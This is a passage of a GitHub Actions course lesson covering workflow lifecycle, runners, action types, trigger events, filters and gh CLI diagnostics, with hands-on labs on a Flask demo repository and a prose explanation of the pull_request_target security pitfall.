GitHub Hour 2: GitHub Actions Core
- Trace the full lifecycle of a workflow run: event → match workflow and filters → queue jobs → runner claims job → steps execute → logs/artifacts uploaded → check status written back to the PR, and say who is responsible for each step.
- Choose the right trigger events (push / pull_request / workflow_dispatch / schedule / release / workflow_run / repository_dispatch), write branches / paths / tags filters, and explain the security differences between
pull_requestandpull_request_target. - Be proficient at organizing job / step / runner: needs dependencies and passing values with outputs, container and services (Redis service container), defaults, timeout-minutes, continue-on-error.
- Read and write expressions and contexts (github / env / vars / secrets / steps / needs / matrix / inputs), avoiding
if:the classic pitfalls with conditions (string truthiness, missing status functions, skipped dependencies). - Use matrix to cover multiple Python versions, use concurrency to cancel outdated runs; use caching to speed up dependency installs, use artifacts to pass build outputs, and be clear about the difference between the two and their retention periods.
- Use
permissions:to restrict GITHUB_TOKEN to least privilege, correctly use repository, environment and organization-level secrets and variables, and quickly diagnose common failures such as workflows not triggering, 403 errors, cache misses and missing artifacts.
Hour 1 time allocation table
| # | Time | Module | Core content | Animation / interaction | Labs (myapp repository) |
|---|---|---|---|---|---|
| 0 | Pre-class | Warm-up and bridge (your first workflow) | Add test and lint configuration to myapp, then write the first CI: ruff + pytest + docker build | CI readiness self-check (10 items) | First green check ✓ |
| 1 | 00–07 | Actions architecture and how it works | event → workflow → job → step; hosted runner labels and specs; how the runner app claims jobs; three types of actions | Core animation: the lifecycle of a workflow run | Reading the “Set up job” section of a run log |
| 2 | 07–15 | workflow syntax and event triggers | 7 common events, activity types, branches/paths/tags filters, pull_request vs pull_request_target, cron UTC/timezone and delays | Event and filter matching simulator | paths filter + manual trigger + schedule |
| 3 | 15–22 | jobs, steps, runners and dependencies | needs, job outputs, runs-on, container and services, defaults, working-directory, timeout, continue-on-error | needs dependency graph execution simulation | Running myapp integration tests with a Redis service container |
| 4 | 22–29 | expressions, contexts and conditions | 10 common contexts, contains/startsWith/fromJSON/toJSON/hashFiles, status check functions, common if pitfalls | if expression evaluator | Conditional deployment and failure notification |
| 5 | 29–36 | matrix and concurrency | include/exclude, fail-fast, max-parallel, dynamic matrix, concurrency groups, cancel-in-progress, queue: max | Matrix expansion calculator + concurrency group timeline | 3 Python versions × 2 operating systems |
| 6 | 36–43 | caching and artifacts | actions/cache keys and restore-keys, scope, built-in caching in setup-* actions, upload v7 / download v8 behavior changes, retention periods | Cache key matching simulator | pip cache hit + uploading wheels and test reports |
| 7 | 43–51 | secrets, variables and GITHUB_TOKEN permissions | Three levels of secrets and variables, environments, least-privilege permissions, default token permissions, fork PRs, masking and ::add-mask:: | permissions calculator (403 prediction) | Tighten permissions + reproduce and fix a 403 |
| 8 | 51–60 | CI readiness review and common failures | CI review checklist, 9 types of common failures, logs / debug logs / re-runs, required checks | CI review scorer + interactive troubleshooting tree | set as a required check |
| — | Post-class | Cheat sheet · Capstone lab | Build a complete CI for myapp and set it as a required check for PRs | Final quiz (12 questions) | Capstone lab |
Knowledge Coverage Matrix
| Target skill | M1 | M2 | M3 | M4 | M5 | M6 | M7 | M8 | Key commands / syntax | Lab |
|---|---|---|---|---|---|---|---|---|---|---|
| Explain the workflow run lifecycle | ✓ | ✓ | · | · | · | · | · | ✓ | gh run view --log | Modules 0, 1 |
| Choose trigger events and filters | · | ✓ | · | ✓ | · | · | ✓ | ✓ | on:,gh workflow run | Module 2 |
| Organize job dependencies and pass values | ✓ | · | ✓ | ✓ | ✓ | · | · | · | needs,$GITHUB_OUTPUT | Module 3 |
| Service containers for integration tests | · | · | ✓ | · | ✓ | · | · | ✓ | services:,options: --health-cmd | Redis + pytest |
| Write correct if conditions | · | ✓ | ✓ | ✓ | · | · | ✓ | ✓ | if: ${{ }},always() | Module 4 |
| matrix and concurrency control | · | · | · | ✓ | ✓ | · | · | ✓ | strategy,concurrency | Module 5 |
| Cache acceleration and artifact passing | · | · | ✓ | ✓ | · | ✓ | · | ✓ | actions/cache,gh run download | Module 6 |
| Least privilege and secrets management | · | ✓ | · | ✓ | · | · | ✓ | ✓ | permissions:,gh secret set | Module 7 |
| Diagnose CI failures and set as required checks | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | gh run rerun --debug, ruleset | Module 8 + capstone lab |
Topics excluded from this lesson (and where to learn them)
| Topic | Why it is not in this lesson | Where to learn it |
|---|---|---|
| Git principles, branching strategy, general Git patterns in CI/CD (shallow clone, tag triggers, version numbers) | Already covered in the Git course | Git Lesson 5: Git in CI/CD |
| Repositories, PRs, reviews, ruleset basics | Covered in Lesson 1; this lesson only sets CI as a required check at the end | GitHub Lesson 1 |
| OIDC login to Azure / AWS, deploying to the cloud, environment approvals | Belongs to “going to cloud platforms” | Lesson 3 (Azure), Lesson 4 (AWS) |
| Reusable workflows, composite action development, releases and supply chain attestations, pinning by SHA | Belongs to “production-grade Actions” | Lesson 5 |
| Self-hosted runners, ARC, larger runners, API rate limits | Belongs to deep troubleshooting and optimization | Lesson 7 |
| Writing Dockerfiles, multi-stage builds, pushing images to GHCR | A topic for the Docker course; this lesson only runs docker build verifying that the build works | Docker 8-hour course |
How to use these materials
Principles · diagrams · animations · commands · labs · production cases · troubleshooting · quiz · voice · video. Suggested order: read “Principles” and “Animation” first, then try the “Lab” in your own myapp repository.
A quiz score ≥ 70% or clicking “Mark this module complete” counts toward progress, saved in this browser (cleared on refresh when local storage is blocked).
The “Voice” tab uses the browser's built-in Web Speech API (en-US) to read the narration script aloud. If no matching voice pack is installed, the script can still be read or handed to a TTS tool.
actions/checkout v7.0.1,actions/setup-python v7.1.0,actions/cache v6.1.0,actions/upload-artifact v7.0.2,actions/download-artifact v8.0.2. ubuntu-latest currently points to Ubuntu 24.04,windows-latest points to Windows Server 2025,macos-latest points to macOS 26 (arm64) — these labels -latest change with GitHub's migration plans; production workflows should pin exact versions. Examples use major-version tags (such as @v7) for readability. Lesson 5 covers pinning Actions to full SHAs.Module 0 · Warm-up and bridge: myapp's first workflow
- Completed GitHub Lesson 1: under your personal account you have a
myapprepository (Python Flask + gunicorn + Redis, including a Dockerfile), cloned locally at~/myapp,gh auth statusshows you are logged in. - Local tools:
ghCLI, Git 2.56, Python 3.12+ (only for running tests locally, optional), Docker Engine 29 (optional, for verifying the image locally). - If the Lesson 1 repository has been deleted, step 1 below rebuilds the required files from scratch (matching the myapp from the Docker course, with the addition of
/healthzand tests).
Step 1: add the application, tests and dependency files to myapp
What CI can verify requires “checks in the repository that can run automatically”. We add to myapp /healthz endpoints, unit tests (no Redis dependency) and integration tests (requires Redis; Module 3 runs them with a service container).
cd ~/myapp 2>/dev/null || { gh repo create myapp --public --clone && cd myapp; }
git switch main && git pull --ff-only
cat > app.py <<'EOF'
import os, socket
from flask import Flask, jsonify
import redis
app = Flask(__name__)
r = redis.Redis(host=os.getenv("REDIS_HOST", "redis"),
port=int(os.getenv("REDIS_PORT", "6379")),
socket_connect_timeout=1)
@app.route("/")
def index():
try:
hits = r.incr("hits")
except redis.exceptions.ConnectionError:
hits = "N/A (redis not connected)"
return f"Hello from {socket.gethostname()}, hits={hits}\n"
@app.route("/healthz")
def healthz():
return jsonify(status="ok")
EOF
mkdir -p tests
cat > tests/test_app.py <<'EOF'
from app import app
def test_healthz():
resp = app.test_client().get("/healthz")
assert resp.status_code == 200
assert resp.get_json() == {"status": "ok"}
EOF
cat > tests/test_redis.py <<'EOF'
import os, pytest
from app import app
# only runs when REDIS_HOST is set (provided by the Redis service container in CI)
pytestmark = pytest.mark.skipif("REDIS_HOST" not in os.environ, reason="needs Redis")
def test_hits_increase():
c = app.test_client()
first = int(c.get("/").get_data(as_text=True).split("hits=")[1])
second = int(c.get("/").get_data(as_text=True).split("hits=")[1])
assert second == first + 1
EOF
cat > requirements.txt <<'EOF'
flask==3.1.*
redis==5.*
gunicorn==23.*
EOF
cat > requirements-dev.txt <<'EOF'
-r requirements.txt
pytest==8.*
ruff==0.*
EOF
cat > pyproject.toml <<'EOF'
[tool.pytest.ini_options]
pythonpath = ["."]
testpaths = ["tests"]
[tool.ruff]
line-length = 100
EOF
ls
Dockerfile app.py pyproject.toml requirements-dev.txt requirements.txt tests
If the repository does not have a Dockerfile yet, use the Docker course Module 5 version (FROM python:3.13-slim, non-root user,CMD ["gunicorn","-b","0.0.0.0:5000","app:app"]). Dependency versions are pinned with ==3.1.* this "pin major.minor" style, which keeps the course reproducible over time. Real projects should generate a full lock file with pip-tools or uv.
Step 2 (optional): run it locally first
python3 -m venv .venv && . .venv/bin/activate pip install -r requirements-dev.txt ruff check . pytest -q
All checks passed! .s [100%] 1 passed, 1 skipped in 0.21s
Redis tests are skipped (not set locally: REDIS_HOST) — this is exactly what Module 3 solves with a service container. Remember to put .venv/ into .gitignore.
Step 3: write the first workflow
A workflow is a YAML file placed in the .github/workflows/ directory. Any file name works (.yml or .yaml), and a repository can have multiple workflows.
name: CI
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
jobs:
lint-test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: "3.13"
- name: Install dependencies
run: pip install -r requirements-dev.txt
- name: Lint (ruff)
run: ruff check .
- name: Test (pytest)
run: pytest -q
build-image:
needs: lint-test
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- name: Build image
run: docker build -t myapp:${{ github.sha }} .
- name: Smoke test /healthz
run: |
docker run -d --name app -p 5000:5000 myapp:${{ github.sha }}
for i in $(seq 1 20); do curl -fsS localhost:5000/healthz && exit 0; sleep 1; done
docker logs app; exit 1
mkdir -p .github/workflows # save the content above as .github/workflows/ci.yml printf '.venv/\n__pycache__/\n' >> .gitignore git add -A git commit -m "ci: add first workflow (ruff + pytest + docker build)" git push gh run watch # select the run that was just triggered and watch it live
✓ main CI · 18234567890 Triggered via push about 1 minute ago JOBS ✓ lint-test in 21s (ID 51874455301) ✓ build-image in 38s (ID 51874498722) ✓ Run CI (18234567890) completed with 'success'
on determines when to run; jobs each job executes on a brand-new runner (so build-image has to check out again); needs makes build-image wait until lint-test succeeds before it starts; permissions and restricts the automatic GITHUB_TOKEN to read-only. These four concepts are the main thread of this lesson..github/workflows/ (for example, written as .github/workflow/) → nothing happens; ② YAML indented with tabs → the Actions page shows “Invalid workflow file”; ③ the private repository exceeds its free minutes or the organization has disabled Actions → runs do not start. See the troubleshooting tree in Module 8.Warm-up: answer from memory (30 seconds)
Why does the build-image job still need to run again actions/checkout?
Each job runs by default on a new, isolated runner VM, and the previous job's working directory is not carried over automatically. To pass files between jobs, use artifacts (Module 6); to pass short strings, use job outputs (Module 3).
Before a PR is merged, who writes the “checks” to the PR page?
When a workflow runs, each job generates a check run, and the results are written back to the commit through the Checks API. The PR page shows the checks on the head commit. A ruleset can mark a check as “required” (Module 8 and the capstone lab).
CI readiness self-check (10 items)
Check the items your myapp repository already meets items (saved in this browser). Come back and check them again after finishing this lesson and the capstone lab.
Module 1 · Actions architecture and how it works
- Explain in your own words event → workflow → job → step the four-layer model and the isolation boundary of each layer (jobs do not share a filesystem; steps do share one).
- Choose GitHub-hosted runner labels as needed (
ubuntu-24.04,ubuntu-24.04-arm,windows-2025,macos-15, etc.), and know the spec differences between public and private repositories. - Explain how the runner app claims jobs over outbound HTTPS, what the “Set up job” phase does, and the differences among JavaScript, Docker container and composite actions.
What: what GitHub Actions is
GitHub Actions is GitHub's built-in event-driven automation platform: events in the repository (push, PR, release, schedule, manual…) trigger .github/workflows/*.yml defined workflows, which are executed by runner (hosted VMs or your own machines) to run the commands in them. It is most commonly used for CI/CD, but it can also handle any automation, such as issue triage, release notes, and scheduled checks.
| Layer | What it is | Isolation and execution method | Example in this lesson |
|---|---|---|---|
| Event | An activity that triggers a workflow, such as push,pull_request,schedule | one event can trigger multiple workflows | pushing to main |
| Workflow | a YAML file containing on and jobs | each trigger generates one workflow run (has a run ID, run number and run attempt) | ci.yml |
| Job | a group of steps executed on the same runner | by default in parallel; each job runs on a new runner, and jobs do not share a filesystem; use needs sequentially | lint-test,build-image |
| Step | run: (shell commands) or uses: (calling an action) | run in order, sharing the same working directory and environment; each run is a new shell process | ruff check . |
| Action | a reusable step unit | JavaScript, Docker container or composite | actions/checkout@v7 |
| Runner | the machine that executes a job, running the open-source runner application (actions/runner) | GitHub-hosted: a brand-new VM per job; self-hosted: maintained by you | ubuntu-24.04 |
Why: why use it
- Zero distance from the repository: events, PR checks, permissions (GITHUB_TOKEN), artifacts and environment approvals are all integrated natively, with no need to configure webhooks and credentials.
- Hosted runners work out of the box: Ubuntu, Windows and macOS, x64 and arm64 are all available, and the images come with many tools preinstalled (Docker, Python, Node, Azure CLI, AWS CLI, etc.; see the list in the
actions/runner-imagesrepository). - Ecosystem: the Marketplace has many ready-made Actions, and public repositories use standard hosted runners for free.
How: the lifecycle of a run (see the “Animation” page)
- Event occurs: for example
git pushto main. GitHub records the event payload, commit SHA and ref. - Match workflows: GitHub reads this commit's in
.github/workflows/YAML files (schedule,workflow_runfor events such as schedule and workflow_dispatch, reads files from the default branch), checkingon:the event type, activity types and branches/paths/tags filters. A match creates a workflow run. - Queue jobs: parse the jobs dependency graph; jobs with no
needsdependencies go straight toqueued; matrix expands into multiple jobs at this point; a concurrency group can leave a job inpending. - Runner claims: the runner app uses outbound HTTPS (443) long-polling to GitHub's Actions service to claim jobs that match its labels (runners need no inbound ports). A GitHub-hosted runner is a new VM started for each job; a self-hosted runner is a process that stays online and waits.
- Set up job: the runner receives the job message (containing the step list, context, and a job-specific GITHUB_TOKEN), prints the runner image version and token permissions, and downloads all
uses:referenced actions (resolving labels to commit SHAs) and prepares the containers and service containers. - Step execution: steps execute one by one; logs stream to GitHub in real time; each step's outcome determines subsequent
if:conditions. Finally, the post steps of each action run (such as saving the cache, or checkout cleaning up credentials). - Upload and write back: logs, artifacts and caches finish uploading; the job conclusion (success / failure / cancelled / skipped) is written to check run, shown in the checks list on the commit and PR. After all jobs finish, the workflow run is complete. The GitHub-hosted VM is then destroyed.
GitHub-hosted runner labels and specs (verified 2026-11)
| OS / architecture | Common labels | Public repository specs | Private repository specs |
|---|---|---|---|
| Linux x64 | ubuntu-latest (= 24.04),ubuntu-24.04,ubuntu-22.04,ubuntu-26.04 | 4 vCPU / 16 GB / 14 GB SSD | 2 vCPU / 8 GB / 14 GB SSD |
| Linux arm64 | ubuntu-24.04-arm,ubuntu-22.04-arm,ubuntu-26.04-arm | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| Linux single core (lightweight) | ubuntu-slim (runs as a container on a shared VM; jobs time out after 15 minutes) | 1 vCPU / 5 GB | |
| Windows x64 | windows-latest (= 2025),windows-2025,windows-2022 | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| Windows arm64 | windows-11-arm | 4 vCPU / 16 GB | 2 vCPU / 8 GB |
| macOS arm64 (M1) | macos-latest,macos-15,macos-26 | 3 vCPU / 7 GB | |
| macOS Intel | macos-15-intel,macos-26-intel | 4 vCPU / 14 GB | |
Source: docs.github.com “GitHub-hosted runners reference” (2026-11-15). -latest is GitHub's “latest stable image”. It is not necessarily the vendor's latest OS version and will be migrated per announcements. Use larger runners (paid, Lesson 7) when you need bigger specs. Private repositories are billed by the minute; Windows and macOS unit prices are higher than Linux.
Three types of actions
| Type | Field in action.yml: runs.using | Execution method | Advantages | Limits |
|---|---|---|---|---|
| JavaScript | node24 (the older node20 is being phased out) | the runner runs the packaged JS directly with its built-in Node runtime | Fastest startup, works across Linux, Windows and macOS | dependencies must be bundled (for example with ncc) |
| Docker container | docker | the runner builds or pulls an image, then runs it in a container | Fully customizable environment, any language | Linux runners only; building or pulling images is slow each time |
| Composite | composite | Bundles multiple run/uses steps into one | No programming needed; reuse shell snippets | logs are merged into one step; there are nesting-depth limits |
When: when to use hosted runners and when self-hosted
| GitHub-hosted runner | Self-hosted runner | |
|---|---|---|
| Maintenance | GitHub handles images, patches and scaling | You handle machines, updates and security isolation |
| Cleanliness | A brand-new VM for every job | Files from the previous job may remain by default (ephemeral mode or ARC recommended) |
| Best for | most CI and open-source projects | access to internal resources, special hardware (GPUs), compliance requirements, very long jobs |
| Job duration limit | Up to 6 hours per job | Up to 5 days per job |
Comparison with similar platforms
| GitHub Actions | Azure Pipelines | GitLab CI | |
|---|---|---|---|
| Definition file | .github/workflows/*.yml (multiple files allowed) | azure-pipelines.yml | .gitlab-ci.yml |
| Level | workflow → job → step | stage → job → step | stage → job |
| Executor | runner (hosted / self-hosted) | agent (Microsoft-hosted / self-hosted) | runner (SaaS / self-hosted) |
| Reuse unit | Actions, reusable workflows | task, template | include, component |
export FOO=1 is still usable in the next step”—no, each run is a new shell; to pass values across steps, write to $GITHUB_ENV or $GITHUB_OUTPUT. ③ “The runner must be reachable from GitHub”—no, the runner only makes outbound connections. ④ “Editing the workflow file in a PR changes schedule behavior”—no, it only reads the workflow on the default branch.Architecture diagram: from event to check result
Hierarchy diagram: components of a workflow run
Core animation: the lifecycle of a workflow run
Choose a scenario, then click “Play” or “Next step”. The highlighted stage is the current phase. The terminal below shows the real information you would see in the GitHub UI,gh the CLI or the runner logs.
Core commands: observe workflow runs with the gh CLI
| Command | Purpose | Key parameters / notes |
|---|---|---|
gh workflow list | List the workflows in the repository and their enabled status | --all Includes disabled workflows |
gh run list | List recent runs | --workflow ci.yml,--branch,--event,--status failure,--limit |
gh run watch | Watch run progress live | --exit-status: returns non-zero on failure (good for scripts) |
gh run view | View run summary, jobs and logs | --log,--log-failed,--job ID,--json |
gh run rerun | Re-run | --failed re-runs only failed jobs; --debug enable debug logging |
gh api | call the REST API directly | repos/{owner}/{repo}/actions/runs/RUN_ID/jobs |
gh run list --workflow ci.yml --limit 5 RUN_ID=$(gh run list --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId') gh run view "$RUN_ID" gh run view "$RUN_ID" --log | grep -A12 "Set up job" | head -30
STATUS TITLE WORKFLOW BRANCH EVENT ID ELAPSED AGE ✓ ci: add first workflow (ruff + pytest… CI main push 18234567890 1m2s 5m lint-test Set up job Current runner version: '2.3xx.x' lint-test Set up job Runner Image Provisioner lint-test Set up job Operating System lint-test Set up job Ubuntu lint-test Set up job 24.04.x LTS lint-test Set up job Runner Image lint-test Set up job Image: ubuntu-24.04 lint-test Set up job Version: 2026xxxx.x lint-test Set up job GITHUB_TOKEN Permissions lint-test Set up job Contents: read lint-test Set up job Metadata: read lint-test Set up job Download action repository 'actions/checkout@v7' (SHA:…) lint-test Set up job Download action repository 'actions/setup-python@v7' (SHA:…)
How to verify: The “Set up job” section tells you three things: the runner application version, the image name and version (check the preinstalled software against the actions/runner-images release notes), the actual GITHUB_TOKEN permissions, and the commit SHA each action resolves to. Common mistake: Assuming ubuntu-latest never changes — images are updated weekly, and -latest may migrate to a new OS version as a whole. Production use: when “it worked yesterday but fails today” happens, first compare the Image Version of the two runs.
Use the API to view job and runner information
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/jobs \
-q '.jobs[] | {name, status, conclusion, runner_name, labels}'
{"conclusion":"success","labels":["ubuntu-24.04"],"name":"lint-test","runner_name":"GitHub Actions 1000123456","status":"completed"}
{"conclusion":"success","labels":["ubuntu-24.04"],"name":"build-image","runner_name":"GitHub Actions 1000123460","status":"completed"}
the two jobs' runner_name differ, showing they ran on two different runners. gh api will {owner}/{repo} automatically replace this with the current repository.
Lab 1: verify job isolation and the runner environment (about 5 minutes)
name: Explore runner
on: workflow_dispatch
permissions:
contents: read
jobs:
linux:
runs-on: ubuntu-24.04
steps:
- run: echo "hello" > shared.txt && ls -l shared.txt
- run: |
echo "still in the same job, file is still here: $(cat shared.txt)"
echo "OS: $(lsb_release -ds) CPU: $(nproc) MEM: $(free -h | awk '/Mem/{print $2}')"
echo "runner: $RUNNER_NAME arch: $RUNNER_ARCH temp: $RUNNER_TEMP"
echo "workspace: $GITHUB_WORKSPACE"
docker --version; python3 --version
arm:
runs-on: ubuntu-24.04-arm
steps:
- run: |
uname -m
ls shared.txt 2>/dev/null || echo "other job: cannot see shared.txt"
git add .github/workflows/explore.yml && git commit -m "ci: explore runner" && git push gh workflow run explore.yml sleep 5; gh run watch "$(gh run list --workflow explore.yml --limit 1 --json databaseId -q '.[0].databaseId')" gh run view --log "$(gh run list --workflow explore.yml --limit 1 --json databaseId -q '.[0].databaseId')" | grep -E "still|OS:|runner:|aarch64|cannot see"
linux … still in the same job, file is still here: hello linux … OS: Ubuntu 24.04.x LTS CPU: 4 MEM: 15Gi linux … runner: GitHub Actions 1000123470 arch: X64 temp: /home/runner/work/_temp arm … aarch64 arm … other job: cannot see shared.txt
On private repositories the CPU shows 2 and memory is about 7.8Gi. arm64 standard runners are available for both public and private repositories (private repositories are billed by the minute). workflow_dispatch Requires the workflow file to already exist on the default branch.
Download action repository 'actions/checkout@v7' (SHA:…). Note the SHA, then run:
git ls-remote https://github.com/actions/checkout refs/tags/v7 refs/tags/v7.0.1
major version tag v7 is a “moving tag” that updates with patch releases; a full SHA is immutable. This is why Lesson 5 covers “pinning Actions by SHA” (see the tampered-tag incident with tj-actions/changed-files, CVE-2025-30066).
runs.using:
gh api repos/actions/checkout/contents/action.yml -H "Accept: application/vnd.github.raw" | grep -A3 "^runs:" gh api repos/actions/setup-python/contents/action.yml -H "Accept: application/vnd.github.raw" | grep -A4 "^runs:"
runs: using: node24 main: dist/index.js post: dist/index.js runs: using: 'node24' main: 'dist/setup/index.js' post: 'dist/cache-save/index.js'
post is the extra “Post Run actions/…” step that runs when the job ends: checkout cleans up credentials here, and setup-python saves the dependency cache here.
git rm .github/workflows/explore.yml && git commit -m "chore: remove explore" && git push.Case 1: ubuntu-latest build suddenly fails after a migration
Problem: a team wrote all its workflows with ubuntu-latest, and when GitHub moved -latest to a new version, C extensions that depend on older system libraries failed to compile, and a dozen repositories turned red at once. Fix: compare the “Set up job → Runner Image” of failing and successful runs to confirm the image version changed; change production workflows to pin a specific ubuntu-24.04, and set up a weekly “canary” workflow that uses ubuntu-latest/ubuntu-26.04 to catch issues early. Limitation: pinned versions still have to migrate when old images are retired, so keep an eye on the actions/runner-images announcements.
Case 2: arm64 image builds reduced from 25 minutes to 6 minutes
Problem: building multi-architecture images on x64 runners emulates arm64 with QEMU, which is extremely slow. Fix: use a matrix to build natively on ubuntu-24.04 and ubuntu-24.04-arm respectively, then merge the manifests (Lesson 5). Limitation: arm64 minutes on private repositories are billed; some tools have no arm64 build, so check after “Set up job”.
Case 3: a Docker container action slows down every job
Problem: The team's in-house lint action is a Docker-type action, so every job must first docker build build it (about 90 seconds), and Windows and macOS jobs even report it as unsupported. Fix: rewrite it as a JavaScript action (or use a prebuilt image referenced via docker:// ), reducing startup time to under 2 seconds. Limitation: JavaScript actions need the Node runtime version to follow the runner (node24), so maintainers must upgrade regularly.
Common errors and fixes
This request was automatically failed because there were no enabled runners online to process the request for more than 1 days.
Cause:runs-on a label that does not exist (such as ubuntu-24.04-arm64,macos-12 , etc., retired images), or a self-hosted runner that is not online.
gh run view RUN_ID --json jobs -q '.jobs[] | {name, status, labels}'
Fix: correct it using the official label table (the arm64 label is ubuntu-24.04-arm); for self-hosted runners, check that they are online and that the labels match (runs-on , when it is an array, requires the runner to have all of the labels).
Job stays at “Waiting for a runner to pick up this job...” for a long time
Cause: the account or organization reached its concurrent job limit, the macOS queue is busy at peak times, private repository minutes or budget are exhausted, or self-hosted runners are busy. A hosted-runner job that is not picked up within 45 minutes is discarded.
Fix: check usage and budgets under Settings → Billing; reduce the matrix size or use max-parallel; use concurrency to cancel outdated runs (Module 5).
Error: Unable to resolve action `actions/checkout@v8`, unable to find version `v8`
Cause: the referenced tag, branch or SHA does not exist, or the Action repository is private and access is not authorized.
git ls-remote --tags https://github.com/actions/checkout | tail -5
Fix: use a version that exists (the latest checkout is currently v7.0.1). To reference a private Action repository in the same organization, allow access in that Action repository's Settings → Actions → Access.
Container action is only supported on Linux
Cause: a Docker container type action was used on a Windows or macOS runner.
Fix: switch to a JavaScript version of the action, move the job to a Linux runner, or use run: to call the tool directly.
A variable exported in the previous step is empty in the next step / after cd, the next step is back at the root directory
Cause: each run is a separate shell process.
- run: echo "APP_VERSION=1.2.3" >> "$GITHUB_ENV" - run: echo "$APP_VERSION" # 1.2.3 - run: make test working-directory: ./services/api # instead of cd
1. Use one command to view the log of the failed step in myapp's most recent failed run.
gh run view "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed
2. List the runner name and labels used by each job in a given run.
gh api repos/{owner}/{repo}/actions/runs/RUN_ID/jobs -q '.jobs[] | [.name, .runner_name, (.labels|join(","))] | @tsv'A colleague says: “After I split lint and test into two jobs, test cannot find the generated .ruff_cache, and the whole thing got slower.” Explain the cause and give recommendations.
The two jobs run on two different runners. Their filesystems are not shared, and each one has to check out the code, install Python and install dependencies, so the total time goes up. Recommendations: combine lightweight checks (lint and unit tests) into multiple steps within the same job. If splitting is really needed (for example to run in parallel or on different systems), use caching to speed up dependency installation, use artifacts to pass the files you need (Module 6), or use job outputs to pass small strings (Module 3).
Verified instructional videos
Official documentation
- Understanding GitHub Actions
- GitHub-hosted runners reference
- About custom actions (the three types of actions)
- actions/runner-images (images and preinstalled software)
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided, which you can give to a video tool.
Visual: a developer runs git push, and an “event” envelope flies toward the GitHub icon.
Narration: every push, every PR and every timer is an event. GitHub looks for YAML files in the workflows directory of that commit.
Visual: the YAML file unfolds into two job cards that enter a “queue” conveyor belt.
Narration: a matching workflow creates a run. Jobs in it are queued in parallel by default, and needs chains them together.
Visual: a new virtual machine lights up. Arrows point from the runner to GitHub (outbound). It claims a job card and executes the steps line by line.
Narration: the runner actively polls GitHub for jobs, so no inbound ports need to be opened. Each job on a hosted runner gets a brand-new VM.
Visual: logs flow to GitHub, a green check appears on the PR page, and the VM disappears.
Narration: logs and artifacts have finished uploading. The result is written back to the PR page as checks, and the VM is destroyed right away. The next run starts in a clean environment.
Module 2 · workflow syntax and event triggers
on: right: it determines when the workflow runs, against which code, and with what permissions- Read and write the top-level structure of a workflow (
name/run-name/on/permissions/env/defaults/concurrency/jobs). - Write correct trigger configurations and activity types for push, pull_request, workflow_dispatch, schedule, release, workflow_run and repository_dispatch.
- Master the combination rules of the branches / tags / paths filters, and explain the
pull_requestandpull_request_targetdifferences in code source, token permissions and secrets, plus cron's timezone and delays.
What: the top-level structure of a workflow file
name: CI # the name shown on the Actions page
run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}" # title of each run (expressions allowed)
on: { ... } # trigger conditions (the focus of this module)
permissions: { contents: read } # GITHUB_TOKEN permissions (Module 7)
env: { PYTHONUNBUFFERED: "1" } # workflow-level environment variables
defaults: { run: { shell: bash } } # default shell / working directory (Module 3)
concurrency: { group: ..., cancel-in-progress: true } # concurrency control (Module 5)
jobs: { ... } # one or more jobs
Overview of common events
| Event | Typical use | Code it runs (source of GITHUB_SHA / workflow file) | Key notes |
|---|---|---|---|
push | main-branch CI, tag releases | the commit after a push | supports branches / tags / paths filters |
pull_request | PR checks | the PR's test merge commit (refs/pull/N/merge) | default types: opened, synchronize, reopened; the branches filter matches the target (base) branch; fork PR tokens are read-only and cannot access secrets |
pull_request_target | label fork PRs, comment on them | the base repository's default branch workflows and commits on the default branch | have a write-permission token and secrets,must never check out and run PR code |
workflow_dispatch | manual trigger, run with parameters | the selected branch | the workflow file must be on the default branch; supports inputs (string / boolean / choice / number / environment) |
schedule | nightly builds, scheduled checks | latest commit on the default branch | cron is UTC by default, and timezone can be used; minimum interval 5 minutes; may be delayed under high load |
release | build and upload on release | the release's tag | created / edited / deleted events for draft releases do not trigger; commonly use types: [published] |
workflow_run | run after another workflow completes | default branch | the workflow file must be on the default branch; up to 3 levels of chaining; can access secrets, so handle fork artifacts with care |
repository_dispatch | external systems trigger it via the API | default branch | client_payload up to 10 top-level properties and 65,535 characters |
Filter rules (push / pull_request)
- branches / branches-ignore, tags / tags-ignore, paths / paths-ignore: under the same event,
branchesandbranches-ignorecannot be used together (the same applies to paths). For “include, then exclude”, write it inbranches/pathsusing a!prefix, and order matters (later patterns override earlier ones). - Multiple filters are combined with AND: if both branches and paths are written, the workflow runs only when both match.
- If only branches is defined, pushing a tag will not trigger it; if only tags is defined, pushing a branch will not trigger it. The paths filter is not evaluated when pushing tags.
- glob syntax:
*does not match/,**matches at any level;'v*','releases/**','**.py'. Patterns beginning with*,!or[must be quoted. - paths diff limit: path filtering only looks at up to 300 changed files; beyond that, unexpected trigger results may occur.
Why: the security differences between pull_request and pull_request_target
pull_request (from forks) | pull_request_target | |
|---|---|---|
| Which workflow file is used | in the PR (the author can change it) | on the base repository's default branch (the author cannot change it) |
| Code checked out by default | the PR's merge commit | the base default branch (not the PR's code) |
| GITHUB_TOKEN | read-only | read and write (subject to permissions) |
| secrets | not passed (except GITHUB_TOKEN) | available |
| first-time contributors | on public repositories may require maintainer approval before running | — |
| Suitable for | building and testing PR code | only metadata operations: labeling, commenting, triage |
The dangerous pattern is the so-called “pwn request”: in pull_request_target a workflow that actions/checkout checks out the PR's head code and runs build scripts. An attacker can modify setup.py, tests or npm scripts in the PR to obtain a write-permission token and all secrets. actions/checkout Since v7.0.0, checking out fork PR code is blocked by default in pull_request_target/workflow_run ; however, this is only a fallback. The correct approach: put build and test steps in pull_request, and put follow-up actions that need write permission in workflow_run and treat PR artifacts as untrusted data (covered in Lessons 5 and 6).
How: cron's UTC, timezone and delays
- Five-field POSIX cron: minute hour day month weekday.
'30 1 * * 1-5'= Monday through Friday at 01:30 (UTC). - Defaults to UTC; you can now add
timezone: "America/Toronto"(IANA name) to run at local time and avoid daylight-saving conversion errors. - Minimum interval is 5 minutes; under high load,
